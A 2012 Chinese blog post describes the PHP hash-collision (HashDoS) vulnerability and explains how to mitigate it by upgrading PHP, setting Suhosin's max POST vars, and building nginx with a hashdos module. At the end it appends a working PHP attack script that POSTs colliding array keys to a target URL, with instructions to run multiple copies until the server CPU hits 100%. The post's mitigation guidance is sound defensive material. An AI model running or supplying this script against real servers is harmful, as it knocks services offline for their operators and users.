首页 » Linux » 阅读文章

php漏洞之hashdos攻击与解决方法

2012-03-31 12:34 9823 1 发表评论
标签:

这个漏洞出来好几个月了,今天做了一个任务才得知,测试了一下,通过一个简单的php文件即可让你的服务器CPU 100%,非常可怕。影响版本php 5.3.2以前,所以大家要尽快升级服务器处理。

环境:
ubuntu 10.04
php5.3.2
nginx1.0.12

解决方法有2种:
一.升级php打补丁
二.安装nginx hsshdos模块

方法一:
1)采用php-cgi 的系统
apt-get update
apt-get install php5-cgi php5-cli (只更新php 相关,如果服务器繁忙,可以先停止nginx php5-fpm)

升级验证:
php5-cgi -i|grep max_input_vars如果全局和本地值是1000 说明OK,然后重启php-cgi 服务

2)采用php-fpm 的系统
sudo apt-get install php5-suhosin
sudo sed -i “s/;suhosin\.post\.max_vars/suhosin\.post\.max_vars/” /etc/php5/fpm/conf.d/suhosin.ini
grep suhosin.post.max_vars /etc/php5/fpm/conf.d/suhosin.ini
sudo /etc/init.d/php5-fpm restart输出是:

suhosin.post.max_vars = 1000 #限制最多有1000个POST参数

方法二:

1)下载hashdos模块,重新编译nginx
https://github.com/54chen/nginx-http-hashdos-module
cd
wget  https://nodeload.github.com/54chen/nginx-http-hashdos-module/tarball/master
tar xvzf master
cd nginx1.0.12
./configure –user=www-data –group=www-data –prefix=/usr/local/nginx \
–with-http_stub_status_module –with-http_gzip_static_module \
–with-http_sub_module –add-module=/root/54chen-nginx-http-hashdos-module-f84d909/2)修改nginx
vi nginx.conf
#在http区域添加下面4行
hashdos on;
body_max_count 1000;
client_max_body_size 10m;
client_body_buffer_size  10m;注意事项,如果是上传服务器client_max_body_size为100M以上,建议使用方法一

因为计算参数都在内存中进行,所以client_body_buffer_size 与 client_max_body_size 的值一定要相等。推荐2m。

重启nginx

附:

PHP的hash漏洞DDoS攻击脚本,请勿用于非法行为
vi dos.php
<?php
// 目标地址
// 只要目标地址存在,不用管它是干嘛的
// 不要攻击我哦^_^,服务器已打补丁
$host = ‘http://www.jwzzsw.com/index.php’;

$data = ”;
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
    $data .= ‘&array[‘ . $key . ‘]=0′;
}

$ret = curl($host, ltrim($data,’&’));
var_dump($ret);

function curl($url, $post, $timeout = 30){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout – 5);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Expect:’));
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    $output = curl_exec($ch);
    if ($output === false) return false;
    $info = curl_getinfo($ch);
    $http_code = $info[‘http_code’];
    if ($http_code == 404) return false;
    curl_close($ch);
    return $output;
}
?>执行:
php dos.php如果没打补丁,CPU很快就会100%,可以执行多个php dos.php

OK!

本文地址:http://www.jwzzsw.com/archives/1125.html

文章作者:思悟
版权所有 © 转载时请以链接形式注明作者和原始出处!

评论 共1条 (RSS 2.0) 发表评论

  1. 小魏说道:

    受教~

发表评论

联系我 Contact Me

回到页首